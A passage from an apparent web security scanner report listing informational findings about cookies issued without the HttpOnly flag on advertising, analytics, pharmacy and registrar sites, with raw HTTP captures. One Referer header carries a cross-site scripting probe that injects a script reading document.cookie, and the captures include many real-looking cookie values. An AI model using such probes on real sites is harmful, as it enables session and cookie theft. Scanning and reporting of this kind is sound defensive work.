Cookie: uid=uid=dd24a7d4-d3d5-11e0-8d9f-78e7d1fad490&_hmacv=1&_salt=2478993672&_keyid=k1&_hmac=b96a3af4c1f9c52f33944d31e2827ff5a044729b; pc1="b!!!!#!!`4y!,Y+@!$[S#!,`ch!#*?W!!!!$!?5%!'jyc4![`s1!!J0T!#Rha~~~~~~=3]i]~~"; pv1="b!!!!,!!`5!!!E)'!$[Rw!,`ch!#*?W!!H<'!#Ds0$To(/![`s1!!28r!#Rha~~~~~~=3f=@=7y'J~!#101!,Y+@!$Xx(!1n,b!#t3o~!!?5%$To(2!w1K*!!NN)!'1C:!$]7n~~~~~=3f9K~~!$5w<!!!?,!$bkN!43C%!'4e2!!!!$!?5%!$To(.!wVd.!%4<v!#3oe!(O'k~~~~~=3f:v=7y%)!!!%Q!#3y2!!!?,!%M23!3Ug(!'=1D!!!!$!?5%!$Tx./#-XCT!%4<v!$k1d!(Yy@~~~~~=3r-B~~!#VS`!!E)$!$`i)!.fA@!'A/#!#:m/!!QB(%5XA2![:Z-!#gyo!(_lN~~~~~~=3rxF~~!#%s?!!E)$!$`hJ!4B$-!%we^!#a.5!?5%!%5XA1!]$.4!#QKc!(4kT~~~~~~=3rxS=6$BX!!!NB!#%sB!!E)$!$`hJ!4B$-!%we^!#a.5!?5%!%5XA1!]$.4!#QKc!(4kT~~~~~~=3rxS=6$BX!!.vL!#,Uv!!E)$!$`hJ!4B$-!%we^!#a.5!?5%!%5XA1!]$.4!#QKc!(4kT~~~~~~=3rxS=6$BX!!.vL!$%00!!#RS!$XpC!1R*F!%`E+!!!!$!?5%!)H`@:!wVd.!%FMM!'lGU!'m1A~~~~~=4jht=6h5P~"; ih="b!!!!>!'R(Y!!!!#=3rxs!,`ch!!!!$=3f=@!.`.U!!!!#=3H3k!.fA@!!!!$=3rxF!/O#b!!!!#=3rvf!1-bB!!!!#=3f:x!1R*F!!!!#=4jht!1[PX!!!!#=3rv_!1[Pa!!!!#=3rw4!1n,b!!!!(=3f9K!1ye!!!!!#=3rv=!2(Qv!!!!#=3^]V!2/j6!!!!#=4qsr!2rc<!!!!#=3rvk!2reF!!!!'=3f<'!38Yq!!!!#=3f8`!38Yt!!!!#=3f<j!3Eo4!!!!#=3f.'!3Ug(!!!!#=3r-B!3e]N!!!!#=4X$w!43C%!!!!#=3f:v!4A]Y!!!!#=3f8q!4B$-!!!!#=3rxS!4ZV4!!!!#=3f9)!4ZV5!!!!$=3rvQ!4cvD!!!!#=3r-A"; bh="b!!!#u!!-C,!!!!%=3`c_!!-G2!!!!%=5$1G!!-O3!!!!#=3G@^!!0)q!!!!%=3v6(!!18B!!!!#=3h8[!!1CB!!!!#=3_%L!!1CD!!!!#=4-9i!!2R$!!!!#=3f8d!!346!!!!#=3f8q!!3:c!!!!$=3r-A!!3?X!!!!#=3f8a!!3O?!!!!%=3`c_!!3ba!!!!%=3_*]!!4BO!!!!#=3f8o!!4dM!!!!$=3f8l!!4e4!!!!#=3f8s!!Os7!!!!#=3G@^!!VQ'!!!!#=3f8V!!WMT!!!!$=3f8f!!`4x!!!!%=3]i_!!i9U!!!!'=3O-Q!!iOo!!!!%=3^]5!!jBx!!!!#=2srH!!pf4!!!!%=3`c_!!qu+!!!!#=4-9i!!sXC!!!!#=3f:p!!srh!!!!$=3i!G!!t^6!!!!+=3r-9!!t^G!!!!%=3v6I!!t^K!!!!#=3v6.!!u*$!!!!#=43nV!!xX+!!!!$=4)V$!!x^1!!!!$=5,??!!y)?!!!!#=3*$x!##!)!!!!$=5#lv!#%v(!!!!#=3*$x!#+s_!!!!#=3h8[!#+sb!!!!#=3h8[!#.dO!!!!%=3H5P!#0Db!!!!#=3*$x!#0Kr!!!!(=3MuQ!#2Gj!!!!%=3`c_!#2Rm!!!!#=3*$x!#4-m!!!!'=3v6J!#4-n!!!!#=3v6/!#6]*!!!!$=5#lv!#7wf!!!!#=51w'!#8.'!!!!#=4-9m!#83a!!!!#=3*$x!#83b!!!!#=35g_!#8?7!!!!#=4-9i!#8TD!!!!#=3*$x!#9Dw!!!!+=4-5/!#:@G!!!!%=3f=d!#?LQ!!!!'=3[HX!#Fw`!!!!'=3[HX!#Ic1!!!!#=4-9j!#N[5!!!!#=3!ea!#Q*T!!!!%=3H5P!#Q/x!!!!#=5,(/!#Q]:!!!!#=4YXv!#Q_h!!!!$=3gb9!#QoI!!!!#=5,',!#SCj!!!!%=3H5P!#SCk!!!!%=3H5P!#T<,!!!!$=5,??!#UD`!!!!$=3**U!#UL(!!!!#=5$1H!#WZE!!!!#=3*$x!#YCf!!!!#=35g_!#Z8E!!!!#=3G@^!#`WU!!!!#=3_(1!#aG>!!!!%=3H5P!#bw^!!!!#=3G@^!#dCX!!!!#=3O-J!#e/A!!!!#=4-8P!#eAL!!!!$=4X0s!#eCK!!!!$=4X0s!#eP^!!!!#=3*$x!#fBj!!!!#=3G@^!#fBk!!!!#=3G@^!#fBl!!!!#=3G@^!#fBm!!!!#=3G@^!#fBn!!!!#=3G@^!#fG+!!!!#=3G@^!#fvy!!!!#=3H3j!#gbm!!!!#=4O@H!#gc/!!!!#=4O>^!#k[]!!!!#=3!ea!#k[_!!!!#=35g_!#qMq!!!!#=3GDG!#qq%!!!!#=4jf'!#rJ!!!!!#=3r#L!#tou!!!!#=4-B-!#tp-!!!!#=4-Bu!#uEh!!!!$=3Msq!#uQD!!!!#=3_%L!#uQG!!!!#=3_%L!#ust!!!!%=3H5P!#usu!!!!%=3H5P!#v-#!!!!#=3*$x!#v5N!!!!$=5#lm!#wW9!!!!%=3H5P!#yM#!!!!%=3H5P!$#WA!!!!%=3H5P!$%,!!!!!%=3H5P!$%SB!!!!%=3H5P!$%sF!!!!#=3!ea!$%sH!!!!#=35g_!$%uX!!!!#=35g_!$%vg!!!!#=3!ea!$%vi!!!!#=35g_!$'.I!!!!$=5$1G!$'.K!!!!#=5$1G!$(!P!!!!#=3G@^!$(aZ!!!!#=3M1/!$)gB!!!!#=3*$x!$*9h!!!!#=35g_!$*NG!!!!#=3_%M!$*a0!!!!%=3H5P!$*iP!!!!#=3_(3!$+2e!!!!#=3!ea!$+2h!!!!#=35g_!$+fh!!!!#=3f*7!$+fl!!!!#=3f+$!$,0h!!!!%=3H5P!$,jv!!!!#=3!ea!$-`?!!!!#=4jeq!$-p1!!!!#=3f8c!$.+#!!!!#=4)S`!$.TJ!!!!#=3!ea!$.TK!!!!#=35g_!$.U`!!!!#=4+!r!$.YJ!!!!#=3v7G!$.YW!!!!#=3v7G!$0Ge!!!!(=3MuS!$1:.!!!!#=3!ea!$1NN!!!!#=3[H:!$1N`!!!!$=3[H0!$1P-!!!!$=3[H0!$1PB!!!!#=3[H:!$1QB!!!!#=3[HX!$2::!!!!#=3[HX!$2j$!!!!%=3H5P!$3Dm!!!!#=3*4J!$3IO!!!!#=3G@^!$3y-!!!!)=4_L-!$4ou!!!!%=3H5P!$6$J!!!!#=3i:D!$6$M!!!!#=3i:C!$7w'!!!!#=3*4K!$9_!!!!!#=3!ea!$:3]!!!!#=3!ea!$:jo!!!!%=5,9,!$<DI!!!!#=3G@^!$<Rh!!!!#=5$$X!$=X=!!!!#=3H3a!$=p7!!!!%=3H5P!$=p8!!!!%=3H5P!$=s9!!!!%=4F,0!$>#M!!!!%=3H5P!$>#N!!!!%=3H5P!$>ox!!!!$=3_*_!$?1O!!!!%=3rvQ!$?i5!!!!%=3`c_"; BX=ei08qcd75vc4d&b=3&s=8s&t=246

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:28 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: bh="b!!!#v!!-C,!!!!%=3`c_!!-G2!!!!%=5$1G!!-O3!!!!#=3G@^!!0)q!!!!%=3v6(!!18B!!!!#=3h8[!!1CB!!!!#=3_%L!!1CD!!!!#=4-9i!!2R$!!!!#=3f8d!!346!!!!#=3f8q!!3:c!!!!$=3r-A!!3?X!!!!#=3f8a!!3O?!!!!%=3`c_!!3ba!!!!%=3_*]!!4BO!!!!#=3f8o!!4dM!!!!$=3f8l!!4e4!!!!#=3f8s!!Os7!!!!#=3G@^!!VQ'!!!!#=3f8V!!WMT!!!!$=3f8f!!`4u!!!!$=54Pi!!`4x!!!!%=3]i_!!i9U!!!!'=3O-Q!!iOo!!!!%=3^]5!!jBx!!!!#=2srH!!pf4!!!!%=3`c_!!qu+!!!!#=4-9i!!sXC!!!!#=3f:p!!srh!!!!$=3i!G!!t^6!!!!+=3r-9!!t^G!!!!%=3v6I!!t^K!!!!#=3v6.!!u*$!!!!#=43nV!!xX+!!!!$=4)V$!!x^1!!!!$=5,??!!y)?!!!!#=3*$x!##!)!!!!$=5#lv!#%v(!!!!#=3*$x!#+s_!!!!#=3h8[!#+sb!!!!#=3h8[!#.dO!!!!%=3H5P!#0Db!!!!#=3*$x!#0Kr!!!!(=3MuQ!#2Gj!!!!%=3`c_!#2Rm!!!!#=3*$x!#4-m!!!!'=3v6J!#4-n!!!!#=3v6/!#6]*!!!!$=5#lv!#7wf!!!!#=51w'!#8.'!!!!#=4-9m!#83a!!!!#=3*$x!#83b!!!!#=35g_!#8?7!!!!#=4-9i!#8TD!!!!#=3*$x!#9Dw!!!!+=4-5/!#:@G!!!!%=3f=d!#?LQ!!!!'=3[HX!#Fw`!!!!'=3[HX!#Ic1!!!!#=4-9j!#N[5!!!!#=3!ea!#Q*T!!!!%=3H5P!#Q/x!!!!#=5,(/!#Q]:!!!!#=4YXv!#Q_h!!!!$=3gb9!#QoI!!!!#=5,',!#SCj!!!!%=3H5P!#SCk!!!!%=3H5P!#T<,!!!!$=5,??!#UD`!!!!$=3**U!#UL(!!!!#=5$1H!#WZE!!!!#=3*$x!#YCf!!!!#=35g_!#Z8E!!!!#=3G@^!#`WU!!!!#=3_(1!#aG>!!!!%=3H5P!#bw^!!!!#=3G@^!#dCX!!!!#=3O-J!#e/A!!!!#=4-8P!#eAL!!!!$=4X0s!#eCK!!!!$=4X0s!#eP^!!!!#=3*$x!#fBj!!!!#=3G@^!#fBk!!!!#=3G@^!#fBl!!!!#=3G@^!#fBm!!!!#=3G@^!#fBn!!!!#=3G@^!#fG+!!!!#=3G@^!#fvy!!!!#=3H3j!#gbm!!!!#=4O@H!#gc/!!!!#=4O>^!#k[]!!!!#=3!ea!#k[_!!!!#=35g_!#qMq!!!!#=3GDG!#qq%!!!!#=4jf'!#rJ!!!!!#=3r#L!#tou!!!!#=4-B-!#tp-!!!!#=4-Bu!#uEh!!!!$=3Msq!#uQD!!!!#=3_%L!#uQG!!!!#=3_%L!#ust!!!!%=3H5P!#usu!!!!%=3H5P!#v-#!!!!#=3*$x!#v5N!!!!$=5#lm!#wW9!!!!%=3H5P!#yM#!!!!%=3H5P!$#WA!!!!%=3H5P!$%,!!!!!%=3H5P!$%SB!!!!%=3H5P!$%sF!!!!#=3!ea!$%sH!!!!#=35g_!$%uX!!!!#=35g_!$%vg!!!!#=3!ea!$%vi!!!!#=35g_!$'.I!!!!$=5$1G!$'.K!!!!#=5$1G!$(!P!!!!#=3G@^!$(aZ!!!!#=3M1/!$)gB!!!!#=3*$x!$*9h!!!!#=35g_!$*NG!!!!#=3_%M!$*a0!!!!%=3H5P!$*iP!!!!#=3_(3!$+2e!!!!#=3!ea!$+2h!!!!#=35g_!$+fh!!!!#=3f*7!$+fl!!!!#=3f+$!$,0h!!!!%=3H5P!$,jv!!!!#=3!ea!$-`?!!!!#=4jeq!$-p1!!!!#=3f8c!$.+#!!!!#=4)S`!$.TJ!!!!#=3!ea!$.TK!!!!#=35g_!$.U`!!!!#=4+!r!$.YJ!!!!#=3v7G!$.YW!!!!#=3v7G!$0Ge!!!!(=3MuS!$1:.!!!!#=3!ea!$1NN!!!!#=3[H:!$1N`!!!!$=3[H0!$1P-!!!!$=3[H0!$1PB!!!!#=3[H:!$1QB!!!!#=3[HX!$2::!!!!#=3[HX!$2j$!!!!%=3H5P!$3Dm!!!!#=3*4J!$3IO!!!!#=3G@^!$3y-!!!!)=4_L-!$4ou!!!!%=3H5P!$6$J!!!!#=3i:D!$6$M!!!!#=3i:C!$7w'!!!!#=3*4K!$9_!!!!!#=3!ea!$:3]!!!!#=3!ea!$:jo!!!!%=5,9,!$<DI!!!!#=3G@^!$<Rh!!!!#=5$$X!$=X=!!!!#=3H3a!$=p7!!!!%=3H5P!$=p8!!!!%=3H5P!$=s9!!!!%=4F,0!$>#M!!!!%=3H5P!$>#N!!!!%=3H5P!$>ox!!!!$=3_*_!$?1O!!!!%=3rvQ!$?i5!!!!%=3`c_"; path=/; expires=Sun, 15-Sep-2013 18:08:28 GMT
Set-Cookie: BX=ei08qcd75vc4d&b=3&s=8s&t=246; path=/; expires=Tue, 19-Jan-2038 03:14:07 GMT
Cache-Control: no-store
Last-Modified: Fri, 16 Sep 2011 18:08:28 GMT
Pragma: no-cache
Content-Length: 43
Content-Type: image/gif
Age: 0
Proxy-Connection: close

GIF89a.............!.......,...........D..;

11.17. http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d887846/17/909940/adscout.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CS1=deleted; expires=Thu, 16 Sep 2010 16:24:53 GMT; path=/; domain=.questionmarket.com
CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1; expires=Tue, 06 Nov 2012 08:24:54 GMT; path=/; domain=.questionmarket.com
ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0; expires=Tue, 06-Nov-2012 08:24:54 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.18. http://amch.questionmarket.com/adsc/d922317/2/43977402/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d922317/2/43977402/decide.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CS1=deleted; expires=Thu, 16-Sep-2010 16:30:33 GMT; path=/; domain=.questionmarket.com
CS1=43208740-5-1_845473-1-1_912463-21-4_911763-21-5_912550-21-1_912461-21-2_912465-21-1_43977402-2-2; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com
ES=917157-$MM\M-0_845473-t`m\M-0_908257-~|k^M-f#4_922317-|N'|M-1; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.19. http://apis.google.com/js/plusone.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://apis.google.com
Path:	/js/plusone.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4;Domain=.google.com;Path=/;Expires=Mon, 13-Sep-2021 17:54:35 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.20. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=9951d9b8-80.67.74.150-1314793633; expires=Sun, 15-Sep-2013 15:29:21 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.21. http://bstats.adbrite.com/click/bstats.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bstats.adbrite.com
Path:	/click/bstats.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ut="1%3AHcxBCoAgEEDRu8y6RQZJeBsrjTQdtbDC6e6V28%2FjF8gdiAJW3SemeQcBCXmbiZ3DoA0xapsQjgOJZc3DUkNSceuJXShdpO4X3tz6E1Ow7hfQwCi9V2mtR3ieFw%3D%3D"; path=/; domain=.adbrite.com; expires=Mon, 13-Sep-2021 16:30:26 GMT
vsd=0@2@4e7379a2@www.drugstore.com; path=/; domain=.adbrite.com; expires=Sun, 18-Sep-2011 16:30:26 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.22. http://d.adroll.com/check/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH/NQ5TTRI2MVGQHFZLQL6SMW previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d.adroll.com
Path:	/check/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH/NQ5TTRI2MVGQHFZLQL6SMW

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

__adroll=a93684bbe302491756ff3d9c64c60001; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /check/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH/NQ5TTRI2MVGQHFZLQL6SMW HTTP/1.1
Host: d.adroll.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __adroll=a93684bbe302491756ff3d9c64c60001

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.8.54
Date: Fri, 16 Sep 2011 15:27:02 GMT
Connection: keep-alive
Set-Cookie: __adroll=a93684bbe302491756ff3d9c64c60001; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/
Pragma: no-cache
P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV'
Location: http://a.adroll.com/i/blank.gif
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate

11.23. http://d.adroll.com/pixel/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d.adroll.com
Path:	/pixel/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

__adroll=a93684bbe302491756ff3d9c64c60001; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pixel/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH?pv=13318588747.642935&cookie=&keyw=smtp+server HTTP/1.1
Host: d.adroll.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __adroll=a93684bbe302491756ff3d9c64c60001

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.8.54
Date: Fri, 16 Sep 2011 15:27:02 GMT
Connection: keep-alive
Set-Cookie: __adroll=a93684bbe302491756ff3d9c64c60001; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/
Pragma: no-cache
P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV'
Location: http://a.adroll.com/pixel/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH/NQ5TTRI2MVGQHFZLQL6SMW.js
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate

11.24. http://drugstore.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://drugstore.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
BIGipServerdscm_farm=1897179328.0.0000; expires=Fri, 16-Sep-2011 17:30:22 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 301 Moved Permanently
Cache-Control: private
Content-Length: 0
Expires: Thu, 15 Sep 2011 16:30:23 GMT
Location: http://www.drugstore.com
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:30:22 GMT
Set-Cookie: BIGipServerdscm_farm=1897179328.0.0000; expires=Fri, 16-Sep-2011 17:30:22 GMT; path=/

11.25. http://go.icontact.com/SEM/AP previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:21 GMT
Content-Length: 9138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_page_ti
...[SNIP]...

11.26. http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/free-30-day-trial-20J6-1725H4.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:53 GMT
Content-Length: 17226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_pag
...[SNIP]...

11.27. http://go.icontact.com/SEM/AP/home-20J6-17231V.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/home-20J6-17231V.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.28. http://ib.mookie1.com/image.sbix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.mookie1.com
Path:	/image.sbix

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ibkukinet=840399722=-8588854161174900426; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /image.sbix?go=2223&pid=15 HTTP/1.1
Host: ib.mookie1.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/?ec1bb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E204f91ee9a2=1
Cookie: id=2040695539456590; OAX=Mhd7ak45SYsADCcs; ibikukiuno=s=584cc5be-3144-4461-b3b4-5f9b3c734edc&h=&v=0; RMFL=011QqFEqU103Xq|U103zF; NXCLICK2=011QqFEuNX_Nonsecure!y!B3!3Xq!4qrNX_TRACK_Atandtwireless/Homepage_NX_Nonsecure!y!B3!3zF!5IxNX_TRACK_Atandtwireless/RTB_Retargeting_NX_Nonsecure!y!B3!gA!14l; mdata=1|2040695539456590|1313431890

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: image/gif
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: ibikukiuno=s=584cc5be-3144-4461-b3b4-5f9b3c734edc&h=&v=0&l=-8588854161174900426; domain=ib.mookie1.com; expires=Sun, 16-Sep-2012 16:32:47 GMT; path=/; HttpOnly
Set-Cookie: ibkukinet=840399722=-8588854161174900426; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 16:32:47 GMT
Content-Length: 807

GIF89a....................................................................................................................................3..f..........3..33.3f.3..3..3..f..f3.ff.f..f..f......3..f....
...[SNIP]...

11.29. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.30. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:11 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.31. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:18 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.32. http://landing.sendgrid.com/smtp-with-bullet-points/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://landing.sendgrid.com
Path:	/smtp-with-bullet-points/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

__ptcx=9GFPhk.3Gp89g.1; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/
